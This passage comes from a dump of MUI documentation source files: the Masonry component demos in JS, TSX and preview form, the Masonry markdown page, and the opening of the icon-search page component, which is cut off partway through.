'https://images.unsplash.com/photo-1627328715728-7bcc1b5db87d',\n    title: 'Tree',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1627000086207-76eabf23aa2e',\n    title: 'Camping Car',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1627328561499-a3584d4ee4f7',\n    title: 'Mountain',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/masonry/ImageMasonry.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\nimport { styled } from '@mui/material/styles';\n\nconst Label = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  borderBottomLeftRadius: 0,\n  borderBottomRightRadius: 0,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ImageMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 829 }}>\n      <Masonry columns={3} spacing={2}>\n        {itemData.map((item, index) => (\n          <div key={index}>\n            <Label>{index + 1}</Label>\n            <img\n              srcSet={`${item.img}?w=162&auto=format&dpr=2 2x`}\n              src={`${item.img}?w=162&auto=format`}\n              alt={item.title}\n              loading=\"lazy\"\n              style={{\n                borderBottomLeftRadius: 4,\n                borderBottomRightRadius: 4,\n                display: 'block',\n                width: '100%',\n              }}\n            />\n          </div>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1627308595229-7830a5c91f9f',\n    title: 'Snacks',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1529655683826-aba9b3e77383',\n    title: 'Tower',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1627328715728-7bcc1b5db87d',\n    title: 'Tree',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1627000086207-76eabf23aa2e',\n    title: 'Camping Car',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1627328561499-a3584d4ee4f7',\n    title: 'Mountain',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/masonry/MasonryWithVariableHeightItems.js",
    "content": "import { styled } from '@mui/material/styles';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Masonry from '@mui/lab/Masonry';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst StyledAccordion = styled(Accordion)(({ theme }) => ({\n  backgroundColor: '#fff',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function MasonryWithVariableHeightItems() {\n  return (\n    <Box sx={{ width: 500, minHeight: 377 }}>\n      <Masonry columns={3} spacing={2}>\n        {heights.map((height, index) => (\n          <Paper key={index}>\n            <StyledAccordion sx={{ minHeight: height }}>\n              <AccordionSummary expandIcon={<ExpandMoreIcon />}>\n                <Typography component=\"span\">Accordion {index + 1}</Typography>\n              </AccordionSummary>\n              <AccordionDetails>Contents</AccordionDetails>\n            </StyledAccordion>\n          </Paper>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/MasonryWithVariableHeightItems.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Masonry from '@mui/lab/Masonry';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst StyledAccordion = styled(Accordion)(({ theme }) => ({\n  backgroundColor: '#fff',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function MasonryWithVariableHeightItems() {\n  return (\n    <Box sx={{ width: 500, minHeight: 377 }}>\n      <Masonry columns={3} spacing={2}>\n        {heights.map((height, index) => (\n          <Paper key={index}>\n            <StyledAccordion sx={{ minHeight: height }}>\n              <AccordionSummary expandIcon={<ExpandMoreIcon />}>\n                <Typography component=\"span\">Accordion {index + 1}</Typography>\n              </AccordionSummary>\n              <AccordionDetails>Contents</AccordionDetails>\n            </StyledAccordion>\n          </Paper>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/MasonryWithVariableHeightItems.tsx.preview",
    "content": "<Masonry columns={3} spacing={2}>\n  {heights.map((height, index) => (\n    <Paper key={index}>\n      <StyledAccordion sx={{ minHeight: height }}>\n        <AccordionSummary expandIcon={<ExpandMoreIcon />}>\n          <Typography component=\"span\">Accordion {index + 1}</Typography>\n        </AccordionSummary>\n        <AccordionDetails>Contents</AccordionDetails>\n      </StyledAccordion>\n    </Paper>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/ResponsiveColumns.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveColumns() {\n  return (\n    <Box sx={{ width: 500, minHeight: 253 }}>\n      <Masonry columns={{ xs: 3, sm: 4 }} spacing={2}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/ResponsiveColumns.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveColumns() {\n  return (\n    <Box sx={{ width: 500, minHeight: 253 }}>\n      <Masonry columns={{ xs: 3, sm: 4 }} spacing={2}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/ResponsiveColumns.tsx.preview",
    "content": "<Masonry columns={{ xs: 3, sm: 4 }} spacing={2}>\n  {heights.map((height, index) => (\n    <Item key={index} sx={{ height }}>\n      {index + 1}\n    </Item>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/ResponsiveSpacing.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveSpacing() {\n  return (\n    <Box sx={{ width: 500, minHeight: 377 }}>\n      <Masonry columns={3} spacing={{ xs: 1, sm: 2, md: 3 }}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/ResponsiveSpacing.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveSpacing() {\n  return (\n    <Box sx={{ width: 500, minHeight: 377 }}>\n      <Masonry columns={3} spacing={{ xs: 1, sm: 2, md: 3 }}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/ResponsiveSpacing.tsx.preview",
    "content": "<Masonry columns={3} spacing={{ xs: 1, sm: 2, md: 3 }}>\n  {heights.map((height, index) => (\n    <Item key={index} sx={{ height }}>\n      {index + 1}\n    </Item>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/SSRMasonry.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function SSRMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry\n        columns={4}\n        spacing={2}\n        defaultHeight={450}\n        defaultColumns={4}\n        defaultSpacing={1}\n      >\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/SSRMasonry.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function SSRMasonry() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry\n        columns={4}\n        spacing={2}\n        defaultHeight={450}\n        defaultColumns={4}\n        defaultSpacing={1}\n      >\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/SSRMasonry.tsx.preview",
    "content": "<Masonry\n  columns={4}\n  spacing={2}\n  defaultHeight={450}\n  defaultColumns={4}\n  defaultSpacing={1}\n>\n  {heights.map((height, index) => (\n    <Item key={index} sx={{ height }}>\n      {index + 1}\n    </Item>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/Sequential.js",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function Sequential() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry\n        columns={4}\n        spacing={2}\n        defaultHeight={450}\n        defaultColumns={4}\n        defaultSpacing={1}\n        sequential\n      >\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/Sequential.tsx",
    "content": "import Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function Sequential() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry\n        columns={4}\n        spacing={2}\n        defaultHeight={450}\n        defaultColumns={4}\n        defaultSpacing={1}\n        sequential\n      >\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/masonry/Sequential.tsx.preview",
    "content": "<Masonry\n  columns={4}\n  spacing={2}\n  defaultHeight={450}\n  defaultColumns={4}\n  defaultSpacing={1}\n  sequential\n>\n  {heights.map((height, index) => (\n    <Item key={index} sx={{ height }}>\n      {index + 1}\n    </Item>\n  ))}\n</Masonry>"
  },
  {
    "path": "docs/data/material/components/masonry/masonry.md",
    "content": "---\nproductId: material-ui\ntitle: React Masonry component\ncomponents: Masonry\ngithubLabel: 'scope: masonry'\n---\n\n# Masonry\n\n<p class=\"description\">Masonry lays out contents of varying dimensions as blocks of the same width and different height with configurable gaps.</p>\n\nMasonry maintains a list of content blocks with a consistent width but different height.\nThe contents are ordered by row.\nIf a row is already filled with the specified number of columns, the next item starts another row, and it is added to the shortest column in order to optimize the use of space.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Basic masonry\n\nA simple example of a `Masonry`. `Masonry` is a container for one or more items. It can receive any element including `<div />` and `<img />`.\n\n{{\"demo\": \"BasicMasonry.js\", \"bg\": true}}\n\n## Image masonry\n\nThis example demonstrates the use of `Masonry` for images. `Masonry` orders its children by row.\nIf you'd like to order images by column, check out [ImageList](/material-ui/react-image-list/#masonry-image-list).\n\n{{\"demo\": \"ImageMasonry.js\", \"bg\": true}}\n\n## Items with variable height\n\nThis example demonstrates the use of `Masonry` for items with variable height.\nItems can move to other columns in order to abide by the rule that items are always added to the shortest column and hence optimize the use of space.\n\n{{\"demo\": \"MasonryWithVariableHeightItems.js\", \"bg\": true}}\n\n## Columns\n\nThis example demonstrates the use of the `columns` to configure the number of columns of a `Masonry`.\n\n{{\"demo\": \"FixedColumns.js\", \"bg\": true}}\n\n`columns` accepts responsive values:\n\n{{\"demo\": \"ResponsiveColumns.js\", \"bg\": true}}\n\n## Spacing\n\nThis example demonstrates the use of the `spacing` to configure the spacing between items.\nIt is important to note that the value provided to the `spacing` prop is multiplied by the theme's spacing field.\n\n{{\"demo\": \"FixedSpacing.js\", \"bg\": true}}\n\n`spacing` accepts responsive values:\n\n{{\"demo\": \"ResponsiveSpacing.js\", \"bg\": true}}\n\n## Sequential\n\nThis example demonstrates the use of the `sequential` to configure the sequential order.\nWith `sequential` enabled, items are added in order from left to right rather than adding to the shortest column.\n\n{{\"demo\": \"Sequential.js\", \"bg\": true}}\n\n## Server-side rendering\n\nThis example demonstrates the use of the `defaultHeight`, `defaultColumns` and `defaultSpacing`, which are used to\nsupport server-side rendering.\n\n:::info\n`defaultHeight` should be large enough to render all rows. Also, it is worth mentioning that items are not added to the shortest column in case of server-side rendering.\n:::\n\n{{\"demo\": \"SSRMasonry.js\", \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/components/material-icons/SearchIcons.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport MuiPaper from '@mui/material/Paper';\nimport copy from 'clipboard-copy';\nimport InputBase from '@mui/material/InputBase';\nimport Typography from '@mui/material/Typography';\nimport PropTypes from 'prop-types';\nimport Grid from '@mui/material/Grid';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport Button from '@mui/material/Button';\nimport flexsearch from 'flexsearch';\nimport SearchIcon from '@mui/icons-material/Search';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport * as mui from '@mui/icons-material';\nimport { Link } from '@mui/docs/Link';\nimport { useTranslate } from '@mui/docs/i18n';\nimport useQueryParameterState from 'docs/src/modules/utils/useQueryParameterState';\n\n// For Debugging\n// import Menu from '@mui/icons-material/Menu';\n// import MenuOutlined from '@mui/icons-material/MenuOutlined';\n// import MenuRounded from '@mui/icons-material/MenuRounded';\n// import MenuTwoTone from '@mui/icons-material/MenuTwoTone';\n// import MenuSharp from '@mui/icons-material/MenuSharp';\n// import ExitToApp from '@mui/icons-material/ExitToApp';\n// import ExitToAppOutlined from '@mui/icons-material/ExitToAppOutlined';\n// import ExitToAppRounded from '@mui/icons-material/ExitToAppRounded';\n// import ExitToAppTwoTone from '@mui/icons-material/ExitToAppTwoTone';\n// import ExitToAppSharp from '@mui/icons-material/ExitToAppSharp';\n// import Delete from '@mui/icons-material/Delete';\n// import DeleteOutlined from '@mui/icons-material/DeleteOutlined';\n// import DeleteRounded from '@mui/icons-material/DeleteRounded';\n// import DeleteTwoTone from '@mui/icons-material/DeleteTwoTone';\n// import DeleteSharp from '@mui/icons-material/DeleteSharp';\n// import DeleteForever from '@mui/icons-material/DeleteForever';\n// import DeleteForeverOutlined from '@mui/icons-material/DeleteForeverOutlined';\n// import DeleteForeverRounded from '@mui/icons-material/DeleteForeverRounded';\n// import DeleteForeverTwoTone from '@mui/icons-material/DeleteForeverTwoTone';\n// import DeleteForeverSharp from '@mui/icons-material/DeleteForeverSharp';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport synonyms from './synonyms';\n\nconst FlexSearchIndex = flexsearch.Index;\n\n// const mui = {\n//   ExitToApp,\n//   ExitToAppOutlined,\n//   ExitToAppRounded,\n//   ExitToAppTwoTone,\n//   ExitToAppSharp,\n//   Menu,\n//   MenuOutlined,\n//   MenuRounded,\n//   MenuTwoTone,\n//   MenuSharp,\n//   Delete,\n//   DeleteOutlined,\n//   DeleteRounded,\n//   DeleteTwoTone,\n//   DeleteSharp,\n//   DeleteForever,\n//   DeleteForeverOutlined,\n//   DeleteForeverRounded,\n//   DeleteForeverTwoTone,\n//   DeleteForeverSharp,\n// };\n\nif (process.env.NODE_ENV !== 'production') {\n  Object.keys(synonyms).forEach((icon) => {\n    if (!mui[icon]) {\n      console.warn(`The icon ${icon} no longer exists. Remove it from \\`synonyms\\``);\n    }\n  });\n}\n\nfunction selectNode(node) {\n  // Clear any current selection\n  const selection = window.getSelection();\n  selection.removeAllRanges();\n\n  // Select code\n  const range = document.createRange();\n  range.selectNodeContents(node);\n  selection.addRange(range);\n}\n\nconst iconWidth = 35;\n\nconst SVG_ICON_CLASS = 'svg-icon';\n\nconst StyledIcon = styled('div')(({ theme }) => ({\n  display: 'inline-flex',\n  flexDirection: 'column',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  margin: '0 4px',\n  '& > div': {\n    flexGrow: 1,\n    fontSize: '.6rem',\n    overflow: 'hidden',\n    textOverflow: 'ellipsis',\n    textAlign: 'center',\n    width: `calc(${iconWidth}px + ${theme.spacing(2)} * 2 + 2px)`,\n  },\n  [`& .${SVG_ICON_CLASS}`]: {\n    width: iconWidth,\n    height: iconWidth,\n    boxSizing: 'content-box',\n    cursor: 'pointer',\n    color: (theme.vars ?? theme).palette.text.primary,\n    border: '1px solid transparent',\n    fontSize: iconWidth,\n    borderRadius: '12px',\n    transition: theme.transitions.create(['background-color', 'box-shadow'], {\n      duration: theme.transitions.duration.shortest,\n    }),\n    padding: theme.spacing(2),\n    margin: theme.spacing(0.5, 0),\n    '&:hover': {\n      backgroundColor: (theme.vars ?? theme).palette.background.default,\n      borderColor: (theme.vars ?? theme).palette.primary.light,\n    },\n  },\n}));\n\nconst handleIconClick = (icon) => () => {\n  window.gtag('event', 'material-icons', {\n    eventAction: 'click',\n    eventLabel: icon.name,\n  });\n  window.gtag('event', 'material-icons-theme', {\n    eventAction: 'click',\n    eventLabel: icon.theme,\n  });\n};\n\nfunction handleLabelClick(event) {\n  selectNode(event.currentTarget);\n}\n\nfunction isElmVisible(elm, margin = 0) {\n  const rect = elm.getBoundingClientRect();\n  return rect.bottom >= -margin && rect.top <= window.innerHeight + margin;\n}\n\nfunction Icon(props) {\n  const { icon, onOpenClick, initiallyVisible = false } = props;\n\n  const rootRef = React.useRef(null);\n  const [isVisible, setIsVisible] = React.useState(initiallyVisible);\n\n  // Virtualize the icons to reduce page size and React rendering time.\n  // Only render the icons after they become visible in the viewport.\n  React.useEffect(() => {\n    const margin = 200;\n    const root = /** @type {SVGElement} */ (rootRef.current);\n    if (initiallyVisible || isElmVisible(root, margin)) {\n      setIsVisible(true);\n      return () => {};\n    }\n    const observer = new IntersectionObserver(\n      (entries) => {\n        if (isElmVisible(entries[0].target, margin)) {\n          setIsVisible(true);\n        }\n      },\n      { rootMargin: `${margin}px 0px` },\n    );\n    observer.observe(root);\n    return () => {\n      observer.disconnect();\n    };\n  }, [initiallyVisible]);\n\n  /* eslint-disable jsx-a11y/click-events-have-key-events */\n  return (\n    <StyledIcon\n      key={icon.importName}\n      ref={rootRef}\n      onClick={Math.random() < 0.1 ? handleIconClick(icon) : null}\n    >\n      {isVisible ? (\n        <SvgIcon\n          component={icon.Component}\n          className={SVG_ICON_CLASS}\n          tabIndex={-1}\n          onClick={onOpenClick}\n          title={icon.importName}\n        />\n      ) : (\n        <div className={SVG_ICON_CLASS} />\n      )}\n      {/* eslint-disable-next-line jsx-a11y/no-static-element-interactions -- TODO: a11y */}\n      <div onClick={handleLabelClick}>{icon.importName}</div>\n      {/* eslint-enable jsx-a11y/click-events-have-key-events */}\n    </StyledIcon>\n  );\n}\n\nconst Icons = React.memo(function Icons(props) {\n  const { icons, handleOpenClick } = props;\n\n  return (\n    <div>\n      {icons.map((icon, i) => (\n        <Icon\n          key={icon.importName}\n          icon={icon}\n          onOpenClick={handleOpenClick}\n          // Render the first 50 icons immediately as they would be visible on page load\n          initiallyVisible={i < 50}\n        />\n      ))}\n    </div>\n  );\n});\n\nIcons.propTypes = {\n  handleOpenClick: PropTypes.func.isRequired,\n  icons: PropTypes.array.isRequired,\n};\n\nconst ImportLink = styled(Link)(({ theme }) => ({\n  textAlign: 'right',\n  padding: theme.spacing(0.5, 1),\n}));\n\nconst Markdown = styled(HighlightedCode)(({ theme }) => ({\n  cursor: 'pointer',\n  transition: theme.transitions.create('background-color', {\n    duration: theme.transitions.duration.shortest,\n  }),\n  '&:hover': {\n    '& code': {\n      backgroundColor: '#96c6fd80',\n    },\n  },\n  '& pre': {\n    borderRadius: 0,\n    margin: 0,\n  },\n}));\n\nconst Title = styled(Typography)(({ theme }) => ({\n  display: 'inline-block',\n  cursor: 'pointer',\n  transition: theme.transitions.create('background-color', {\n    duration: theme.transitions.duration.shortest,\n  }),\n  '&:hover': {\n    backgroundColor: '#96c6fd80',\n  },\n}));\n\nconst CanvasComponent = styled('div')(({ theme }) => ({\n  fontSize: 210,\n  color: (theme.vars ?? theme).palette.text.primary,\n  backgroundSize: '30px 30px',\n  backgroundColor: 'transparent',\n  backgroundPosition: '0 0, 0 15px, 15px -15px, -15px 0',\n  backgroundImage:\n    'linear-gradient(45deg, #e6e6e6 25%, transparent 25%), linear-gradient(-45deg, #e6e6e6 25%, transparent 25%), linear-gradient(45deg, transparent 75%, #e6e6e6 75%), linear-gradient(-45deg, transparent 75%, #e6e6e6 75%)',\n  ...theme.applyStyles('dark', {\n    backgroundImage:\n      'linear-gradient(45deg, #595959 25%, transparent 25%), linear-gradient(-45deg, #595959 25%, transparent 25%), linear-gradient(45deg, transparent 75%, #595959 75%), linear-gradient(-45deg, transparent 75%, #595959 75%)',\n  }),\n}));\n\nconst FontSizeComponent = styled('span')(({ theme }) => ({\n  margin: theme.spacing(2),\n}));\n\nconst ContextComponent = styled('div', {\n  shouldForwardProp: (prop) => prop !== 'contextColor' && prop !== 'as',\n})(({ theme }) => ({\n  margin: theme.spacing(0.5),\n  padding: theme.spacing(1, 2),\n  borderRadius: theme.shape.borderRadius,\n  boxSizing: 'content-box',\n  variants: [\n    {\n      props: {\n        contextColor: 'primary',\n      },\n      style: {\n        color: (theme.vars ?? theme).palette.primary.main,\n      },\n    },\n    {\n      props: {\n        contextColor: 'primaryInverse',\n      },\n      style: {\n        color: (theme.vars ?? theme).palette.primary.contrastText,\n        backgroundColor: (theme.vars ?? theme).palette.primary.main,\n      },\n    },\n    {\n      props: {\n        contextColor: 'textPrimary',\n      },\n      style: {\n        color: (theme.vars ?? theme).palette.text.primary,\n      },\n    },\n    {\n      props: {\n        contextColor: 'textPrimaryInverse',\n      },\n      style: {\n        color: (theme.vars ?? theme).palette.background.paper,\n        backgroundColor: (theme.vars ?? theme).palette.text.primary,\n      },\n    },\n    {\n      props: {\n        contextColor: 'textSecondary',\n      },\n      style: {\n        color: (theme.vars ?? theme).palette.text.secondary,\n      },\n    },\n    {\n      props: {\n        contextColor: 'textSecondaryInverse',\n      },\n      style: {\n        color: (theme.vars ?? theme).palette.background.paper,\n        backgroundColor: (theme.vars ?? theme).palette.text.secondary,\n      },\n    },\n  ],\n}));\n\nconst DialogDetails = React.memo(function DialogDetails(props) {\n  const { open, selectedIcon, handleClose } = props;\n\n  const t = useTranslate();\n  const [copied1, setCopied1] = React.useState(false);\n  const [copied2, setCopied2] = React.useState(false);\n\n  const handleClick = (tooltip) => async (event) => {\n    await copy(event.currentTarget.textContent);\n    const setCopied = tooltip === 1 ? setCopied1 : setCopied2;\n\n    setCopied(true);\n  };\n\n  return (\n    <Dialog\n      fullWidth\n      maxWidth=\"sm\"\n      open={open}\n      onClose={handleClose}\n      sx={{\n        '& .MuiDialog-paper': {\n          borderRadius: 2.5,\n          backgroundImage: 'none',\n          border: '1px solid',\n          borderColor: 'divider',\n        },\n      }}\n    >\n      {selectedIcon ? 